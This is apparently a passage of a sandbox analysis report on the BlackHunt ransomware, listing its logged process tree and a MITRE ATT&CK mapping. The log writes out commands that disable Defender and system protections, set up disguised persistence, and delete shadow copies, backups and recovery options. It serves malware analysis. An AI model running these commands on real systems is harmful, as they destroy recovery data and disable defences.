    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:3480
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  PID:3108
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    PID:4200
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:2600
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:2784
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:1744
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:4948
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:4992
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:5036
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:3152
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:5804
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:1632
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:3520
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:1484
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:2504
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:4112
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:5788
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:3128
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:5236
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:440
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:5780
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:1176
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:5812
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:3508
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:5404
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:1288
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:5944
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:1108
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:5772
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:2276
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:5664
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2144
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:5748
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:1020
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:5836
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:5104
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:6120
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:4884
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:6060
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:1156
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:2336
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:3824
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2408
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:3136
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:5920
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe" /F
  2⤵
  PID:2028
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:4540
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:4028
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:6004
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2556
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:6064
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:3316
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:5872
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:3172
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:6016
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:180
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:6020
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:2968
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:6116
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:2772
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    - Modifies registry class
    PID:3112
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:5940
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:228
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    - Adds Run key to start application
    PID:4200
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2224
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:5132
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:6124
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:5228
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:5788
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:5220
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:4056
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  - Modifies registry class
  PID:1888
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5964
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:4924
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:888

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5700

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5056

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:1088

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:6396

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Inhibit System Recovery